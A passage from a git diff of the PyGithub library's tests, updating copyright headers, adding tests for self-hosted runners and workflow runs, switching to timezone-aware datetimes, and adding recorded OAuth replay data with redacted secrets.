+# along with PyGithub. If not, see . # +# # +################################################################################ + +from . import Framework + + +class PullRequest1684(Framework.TestCase): + def setUp(self): + super().setUp() + self.user = self.g.get_user("ReDASers") + self.repo = self.user.get_repo("Phishing-Detection") + + def testGetRunners(self): + runners = self.repo.get_self_hosted_runners() + self.assertEqual(19, runners.totalCount) + runner = runners[0] + self.assertEqual(1363, runner.id) + self.assertEqual("windows", runner.os) + self.assertEqual("0D80B14DC506", runner.name) + self.assertEqual("offline", runner.status) + self.assertFalse(runner.busy) + labels = runner.labels() + self.assertEqual(3, len(labels)) + self.assertEqual("self-hosted", labels[0]["name"]) + self.assertEqual("Windows", labels[1]["name"]) + self.assertEqual("X64", labels[2]["name"]) + + def testDeleteRunnerObject(self): + runners = self.repo.get_self_hosted_runners() + initial_length = runners.totalCount + runner_to_delete = runners[0] + + result = self.repo.remove_self_hosted_runner(runner_to_delete) + self.assertTrue(result) + + runners = self.repo.get_self_hosted_runners() + ids = [runner.id for runner in self.repo.get_self_hosted_runners()] + self.assertEqual(initial_length - 1, runners.totalCount) + self.assertNotIn(runner_to_delete.id, ids) + + def testDeleteRunnerId(self): + ids = [runner.id for runner in self.repo.get_self_hosted_runners()] + id_to_delete = ids[0] + + result = self.repo.remove_self_hosted_runner(id_to_delete) + self.assertTrue(result) + + ids = [runner.id for runner in self.repo.get_self_hosted_runners()] + self.assertNotIn(id_to_delete, ids) diff --git a/tests/PullRequest2408.py b/tests/PullRequest2408.py new file mode 100644 index 0000000000..a4175157cb --- /dev/null +++ b/tests/PullRequest2408.py @@ -0,0 +1,53 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Matthew Neal # +# Copyright 2016 Peter Buckley # +# Copyright 2016 Sam Corbett # +# Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Olof-Joachim Frahm (欧雅福) # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Anuj Bansal # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Mikhail f. Shiryaev # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from . import Framework + + +class PullRequest2408(Framework.TestCase): + def setUp(self): + super().setUp() + self.repo = self.g.get_repo("ReDASers/Phishing-Detection") + + def test_get_workflow_runs(self): + runs = self.repo.get_workflow_runs(head_sha="7aab33f4294ba5141f17bed0aeb1a929f7afc155") + self.assertEqual(720994709, runs[0].id) + + runs = self.repo.get_workflow_runs(exclude_pull_requests=True) + self.assertEqual(3519037359, runs[0].id) diff --git a/tests/PullRequestComment.py b/tests/PullRequestComment.py index 2c9bb45406..47d6a711d4 100644 --- a/tests/PullRequestComment.py +++ b/tests/PullRequestComment.py @@ -8,7 +8,13 @@ # Copyright 2016 Peter Buckley # # Copyright 2017 Nicolas Agustín Torres # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # # Copyright 2020 Huan-Cheng Chang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,7 +34,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -36,27 +42,23 @@ class PullRequestComment(Framework.TestCase): def setUp(self): super().setUp() - self.comment = ( - self.g.get_user().get_repo("PyGithub").get_pull(31).get_comment(886298) - ) + self.comment = self.g.get_user().get_repo("PyGithub").get_pull(31).get_comment(886298) def testAttributes(self): self.assertEqual(self.comment.body, "Comment created by PyGithub") + self.assertEqual(self.comment.commit_id, "8a4f306d4b223682dd19410d4a9150636ebe4206") self.assertEqual( - self.comment.commit_id, "8a4f306d4b223682dd19410d4a9150636ebe4206" - ) - self.assertEqual( - self.comment.created_at, datetime.datetime(2012, 5, 27, 9, 40, 12) + self.comment.created_at, + datetime(2012, 5, 27, 9, 40, 12, tzinfo=timezone.utc), ) self.assertEqual(self.comment.id, 886298) - self.assertEqual( - self.comment.original_commit_id, "8a4f306d4b223682dd19410d4a9150636ebe4206" - ) + self.assertEqual(self.comment.original_commit_id, "8a4f306d4b223682dd19410d4a9150636ebe4206") self.assertEqual(self.comment.original_position, 5) self.assertEqual(self.comment.path, "src/github/Issue.py") self.assertEqual(self.comment.position, 5) self.assertEqual( - self.comment.updated_at, datetime.datetime(2012, 5, 27, 9, 40, 12) + self.comment.updated_at, + datetime(2012, 5, 27, 9, 40, 12, tzinfo=timezone.utc), ) self.assertEqual( self.comment.url, diff --git a/tests/PullRequestFile.py b/tests/PullRequestFile.py index 025af8dbc5..4817bc2ea1 100644 --- a/tests/PullRequestFile.py +++ b/tests/PullRequestFile.py @@ -7,6 +7,11 @@ # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/PullRequestReview.py b/tests/PullRequestReview.py index 2594c7d8ed..de320c1484 100644 --- a/tests/PullRequestReview.py +++ b/tests/PullRequestReview.py @@ -1,10 +1,27 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # # Copyright 2017 Aaron Levine # # Copyright 2017 Mike Miller # # Copyright 2017 Simon # # Copyright 2018 Gilad Shefer # +# Copyright 2018 Steve Kowalik # +# Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Olof-Joachim Frahm (欧雅福) # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Claire Johns <42869556+johnsc1@users.noreply.github.com> # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Gael Colas # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -24,7 +41,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -51,18 +68,19 @@ def setUp(self): def testDoesNotModifyPullRequest(self): self.assertEqual(self.pull.id, 111649703) + def testEdit(self): + self.pullreview.edit("Comment edited by PyGithub") + self.assertEqual(self.pullreview.body, "Comment edited by PyGithub") + def testDismiss(self): self.pullreview.dismiss("with prejudice") - pr = self.pull.get_review(28482091) - self.assertEqual(pr.state, "DISMISSED") + self.assertEqual(self.pullreview.state, "DISMISSED") def testAttributes(self): self.assertEqual(self.pullreview.id, 28482091) self.assertEqual(self.pullreview.user.login, "jzelinskie") self.assertEqual(self.pullreview.body, "") - self.assertEqual( - self.pullreview.commit_id, "7a0fcb27b7cd6c346fc3f76216ccb6e0f4ca3bcc" - ) + self.assertEqual(self.pullreview.commit_id, "7a0fcb27b7cd6c346fc3f76216ccb6e0f4ca3bcc") self.assertEqual(self.pullreview.state, "APPROVED") self.assertEqual( self.pullreview.html_url, @@ -73,7 +91,8 @@ def testAttributes(self): "https://api.github.com/repos/PyGithub/PyGithub/pulls/538", ) self.assertEqual( - self.pullreview.submitted_at, datetime.datetime(2017, 3, 22, 19, 6, 59) + self.pullreview.submitted_at, + datetime(2017, 3, 22, 19, 6, 59, tzinfo=timezone.utc), ) self.assertIn(self.created_pullreview.id, [r.id for r in self.pullreviews]) self.assertEqual( diff --git a/tests/PullRequestReview1856.py b/tests/PullRequestReview1856.py index 4343bac016..3c39558c53 100644 --- a/tests/PullRequestReview1856.py +++ b/tests/PullRequestReview1856.py @@ -1,3 +1,26 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2021 Claire Johns <42869556+johnsc1@users.noreply.github.com> # +# Copyright 2023 Enrico Minack # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + from . import Framework diff --git a/tests/RateLimiting.py b/tests/RateLimiting.py index d8bd7a3b4e..f9311cee8d 100644 --- a/tests/RateLimiting.py +++ b/tests/RateLimiting.py @@ -6,7 +6,15 @@ # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Nikolay Yurin # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -26,31 +34,32 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework class RateLimiting(Framework.TestCase): def testRateLimiting(self): - self.assertEqual(self.g.rate_limiting, (4929, 5000)) - self.g.get_user("jacquev6") - self.assertEqual(self.g.rate_limiting, (4928, 5000)) - self.assertEqual(self.g.rate_limiting_resettime, 1536123356) + self.assertEqual(self.g.rate_limiting, (4904, 5000)) + self.g.get_user("yurinnick") + self.assertEqual(self.g.rate_limiting, (4903, 5000)) + self.assertEqual(self.g.rate_limiting_resettime, 1684195041) def testResetTime(self): - self.assertEqual(self.g.rate_limiting_resettime, 1536123356) + self.assertEqual(self.g.rate_limiting_resettime, 1684195041) def testGetRateLimit(self): rateLimit = self.g.get_rate_limit() self.assertEqual( repr(rateLimit), - "RateLimit(core=Rate(reset=2018-09-05 04:55:56, remaining=4929, limit=5000))", + "RateLimit(core=Rate(reset=2023-05-15 23:57:21+00:00, remaining=4904, limit=5000))", ) self.assertEqual( repr(rateLimit.core), - "Rate(reset=2018-09-05 04:55:56, remaining=4929, limit=5000)", + "Rate(reset=2023-05-15 23:57:21+00:00, remaining=4904, limit=5000)", ) self.assertEqual(rateLimit.core.limit, 5000) - self.assertEqual(rateLimit.core.remaining, 4929) - self.assertEqual(rateLimit.core.reset, datetime.datetime(2018, 9, 5, 4, 55, 56)) + self.assertEqual(rateLimit.core.remaining, 4904) + self.assertEqual(rateLimit.core.used, 96) + self.assertEqual(rateLimit.core.reset, datetime(2023, 5, 15, 23, 57, 21, tzinfo=timezone.utc)) diff --git a/tests/RawData.py b/tests/RawData.py index 963231b1fd..d250251b97 100644 --- a/tests/RawData.py +++ b/tests/RawData.py @@ -4,6 +4,12 @@ # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -95,8 +101,6 @@ def testNonCompletableObject(self): self.assertEqual(plan.raw_data, RawData.planRawData) def testCreateObjectFromRawData(self): - user = self.g.create_from_raw_data( - github.NamedUser.NamedUser, RawData.jacquev6RawData - ) + user = self.g.create_from_raw_data(github.NamedUser.NamedUser, RawData.jacquev6RawData) self.assertEqual(user._CompletableGithubObject__completed, True) self.assertEqual(user.name, "Vincent Jacques") diff --git a/tests/Reaction.py b/tests/Reaction.py index a9aa619a04..cdfd79acca 100644 --- a/tests/Reaction.py +++ b/tests/Reaction.py @@ -1,7 +1,19 @@ ############################ Copyrights and license ############################ # # -# Copyright 2017 Nicolas Agustín Torres # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2017 Nicolas Agustín Torres # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -21,7 +33,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -29,17 +41,13 @@ class Reaction(Framework.TestCase): def setUp(self): super().setUp() - self.reactions = ( - self.g.get_user("PyGithub") - .get_repo("PyGithub") - .get_issue(28) - .get_reactions() - ) + self.reactions = self.g.get_user("PyGithub").get_repo("PyGithub").get_issue(28).get_reactions() def testAttributes(self): self.assertEqual(self.reactions[0].content, "+1") self.assertEqual( - self.reactions[0].created_at, datetime.datetime(2017, 12, 5, 1, 59, 33) + self.reactions[0].created_at, + datetime(2017, 12, 5, 1, 59, 33, tzinfo=timezone.utc), ) self.assertEqual(self.reactions[0].id, 16916340) self.assertEqual(self.reactions[0].user.login, "nicolastrres") diff --git a/tests/ReleaseAsset.py b/tests/ReleaseAsset.py index d0b8af3874..24b36876d6 100644 --- a/tests/ReleaseAsset.py +++ b/tests/ReleaseAsset.py @@ -3,6 +3,11 @@ # Copyright 2017 Chris McBride # # Copyright 2017 Simon # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -22,7 +27,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -47,10 +52,12 @@ def testAttributes(self): self.assertEqual(self.asset.size, 3783) self.assertEqual(self.asset.download_count, 2) self.assertEqual( - self.asset.created_at, datetime.datetime(2017, 2, 1, 22, 40, 58) + self.asset.created_at, + datetime(2017, 2, 1, 22, 40, 58, tzinfo=timezone.utc), ) self.assertEqual( - self.asset.updated_at, datetime.datetime(2017, 2, 1, 22, 44, 58) + self.asset.updated_at, + datetime(2017, 2, 1, 22, 44, 58, tzinfo=timezone.utc), ) self.assertEqual( self.asset.browser_download_url, diff --git a/tests/ReplayData/ApplicationOAuth.testGetAccessToken.txt b/tests/ReplayData/ApplicationOAuth.testGetAccessToken.txt index 889d4263fa..1b09e0e4b6 100644 --- a/tests/ReplayData/ApplicationOAuth.testGetAccessToken.txt +++ b/tests/ReplayData/ApplicationOAuth.testGetAccessToken.txt @@ -8,4 +8,3 @@ None 200 [('Date', 'Fri, 25 Jan 2019 11:06:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Vary', 'X-PJAX, Accept-Encoding'), ('ETag', 'W/"deebfe47f0039427b39ec010749014f6"'), ('Cache-Control', 'max-age=0, private, must-revalidate'), ('Set-Cookie', 'has_recent_activity=1; path=/; expires=Fri, 25 Jan 2019 12:06:38 -0000, ignored_unsupported_browser_notice=false; path=/'), ('X-Request-Id', 'ed8794eb-dc95-481f-8e52-2cd5db0494a0'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Expect-CT', 'max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"'), ('Content-Security-Policy', "default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com wss://live.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com; img-src 'self' data: github.githubassets.com assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com; manifest-src 'self'; media-src 'none'; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C8AC:1D8B2:126D746:1BF8DE4:5C4AEDBE')] {"access_token":"access_token_removed","token_type":"bearer","scope":""} - diff --git a/tests/ReplayData/ApplicationOAuth.testGetAccessTokenBadCode.txt b/tests/ReplayData/ApplicationOAuth.testGetAccessTokenBadCode.txt new file mode 100644 index 0000000000..d509f6e7fb --- /dev/null +++ b/tests/ReplayData/ApplicationOAuth.testGetAccessTokenBadCode.txt @@ -0,0 +1,10 @@ +https +POST +github.com +None +/login/oauth/access_token +{'Content-Type': 'application/json', 'Accept': 'application/json', 'User-Agent': 'PyGithub/Python'} +{"client_secret": "client_secret_removed", "code": "oauth_code_removed", "client_id": "client_id_removed", "state": "state_removed"} +200 +[('Date', 'Fri, 25 Jan 2019 11:06:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Vary', 'X-PJAX, Accept-Encoding'), ('ETag', 'W/"deebfe47f0039427b39ec010749014f6"'), ('Cache-Control', 'max-age=0, private, must-revalidate'), ('Set-Cookie', 'has_recent_activity=1; path=/; expires=Fri, 25 Jan 2019 12:06:38 -0000, ignored_unsupported_browser_notice=false; path=/'), ('X-Request-Id', 'ed8794eb-dc95-481f-8e52-2cd5db0494a0'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Expect-CT', 'max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"'), ('Content-Security-Policy', "default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com wss://live.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com; img-src 'self' data: github.githubassets.com assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com; manifest-src 'self'; media-src 'none'; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C8AC:1D8B2:126D746:1BF8DE4:5C4AEDBE')] +{"error":"bad_verification_code","error_description":"The code passed is incorrect or expired.","error_uri":"https://docs.github.com/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors/#bad-verification-code"} diff --git a/tests/ReplayData/ApplicationOAuth.testGetAccessTokenUnknownError.txt b/tests/ReplayData/ApplicationOAuth.testGetAccessTokenUnknownError.txt new file mode 100644 index 0000000000..91c2c3b53d --- /dev/null +++ b/tests/ReplayData/ApplicationOAuth.testGetAccessTokenUnknownError.txt @@ -0,0 +1,10 @@ +https +POST +github.com +None +/login/oauth/access_token +{'Content-Type': 'application/json', 'Accept': 'application/json', 'User-Agent': 'PyGithub/Python'} +{"client_secret": "client_secret_removed", "code": "oauth_code_removed", "client_id": "client_id_removed", "state": "state_removed"} +200 +[('Date', 'Fri, 25 Jan 2019 11:06:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Vary', 'X-PJAX, Accept-Encoding'), ('ETag', 'W/"deebfe47f0039427b39ec010749014f6"'), ('Cache-Control', 'max-age=0, private, must-revalidate'), ('Set-Cookie', 'has_recent_activity=1; path=/; expires=Fri, 25 Jan 2019 12:06:38 -0000, ignored_unsupported_browser_notice=false; path=/'), ('X-Request-Id', 'ed8794eb-dc95-481f-8e52-2cd5db0494a0'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Expect-CT', 'max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"'), ('Content-Security-Policy', "default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com wss://live.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com; img-src 'self' data: github.githubassets.com assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com; manifest-src 'self'; media-src 'none'; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C8AC:1D8B2:126D746:1BF8DE4:5C4AEDBE')] +{"error":"some_unknown_error"} diff --git a/tests/ReplayData/ApplicationOAuth.testGetAccessTokenWithExpiry.txt b/tests/ReplayData/ApplicationOAuth.testGetAccessTokenWithExpiry.txt new file mode 100644 index 0000000000..916e5f3677 --- /dev/null +++ b/tests/ReplayData/ApplicationOAuth.testGetAccessTokenWithExpiry.txt @@ -0,0 +1,10 @@ +https +POST +github.com +None +/login/oauth/access_token +{'Content-Type': 'application/json', 'Accept': 'application/json', 'User-Agent': 'PyGithub/Python'} +{"client_secret": "client_secret_removed", "code": "oauth_code_removed", "client_id": "client_id_removed", "state": "state_removed"} +200 +[('Date', 'Fri, 25 Jan 2019 11:06:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Vary', 'X-PJAX, Accept-Encoding'), ('ETag', 'W/"deebfe47f0039427b39ec010749014f6"'), ('Cache-Control', 'max-age=0, private, must-revalidate'), ('Set-Cookie', 'has_recent_activity=1; path=/; expires=Fri, 25 Jan 2019 12:06:38 -0000, ignored_unsupported_browser_notice=false; path=/'), ('X-Request-Id', 'ed8794eb-dc95-481f-8e52-2cd5db0494a0'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Expect-CT', 'max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"'), ('Content-Security-Policy', "default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com wss://live.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com; img-src 'self' data: github.githubassets.com assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com; manifest-src 'self'; media-src 'none'; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C8AC:1D8B2:126D746:1BF8DE4:5C4AEDBE')] +{"access_token":"access_token_removed","token_type":"bearer","scope":"","expires_in":28800,"refresh_token":"refresh_token_removed","refresh_token_expires_in":15811200} diff --git a/tests/ReplayData/ApplicationOAuth.testRefreshAccessToken.txt b/tests/ReplayData/ApplicationOAuth.testRefreshAccessToken.txt new file mode 100644 index 0000000000..13999361ce --- /dev/null +++ b/tests/ReplayData/ApplicationOAuth.testRefreshAccessToken.txt @@ -0,0 +1,21 @@ +https +POST +github.com +None +/login/oauth/access_token +{'Content-Type': 'application/json', 'Accept': 'application/json', 'User-Agent': 'PyGithub/Python'} +{"client_secret": "client_secret_removed", "code": "oauth_code_removed", "client_id": "client_id_removed", "state": "state_removed"} +200 +[('Date', 'Fri, 25 Jan 2019 11:06:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Vary', 'X-PJAX, Accept-Encoding'), ('ETag', 'W/"deebfe47f0039427b39ec010749014f6"'), ('Cache-Control', 'max-age=0, private, must-revalidate'), ('Set-Cookie', 'has_recent_activity=1; path=/; expires=Fri, 25 Jan 2019 12:06:38 -0000, ignored_unsupported_browser_notice=false; path=/'), ('X-Request-Id', 'ed8794eb-dc95-481f-8e52-2cd5db0494a0'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Expect-CT', 'max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"'), ('Content-Security-Policy', "default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com wss://live.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com; img-src 'self' data: github.githubassets.com assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com; manifest-src 'self'; media-src 'none'; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C8AC:1D8B2:126D746:1BF8DE4:5C4AEDBE')] +{"access_token":"access_token_removed","expires_in":28800,"refresh_token":"refresh_token_removed","refresh_token_expires_in":15811200,"token_type":"bearer","scope":""} + +https +POST +github.com +None +/login/oauth/access_token +{'Content-Type': 'application/json', 'Accept': 'application/json', 'User-Agent': 'PyGithub/Python'} +{"client_id": "client_id_removed", "client_secret": "client_secret_removed", "grant_type": "refresh_token", "refresh_token": "refresh_token_removed"} +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 19:28:00 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Vary', 'X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0a182fcce694870c91b7c96a645b67ec"'), ('Cache-Control', 'max-age=0, private, must-revalidate'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'; base-uri 'self'; block-all-mixed-content; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com objects-origin.githubusercontent.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com cdn.optimizely.com logx.optimizely.com/v1/events *.actions.githubusercontent.com productionresultssa0.blob.core.windows.net/ productionresultssa1.blob.core.windows.net/ 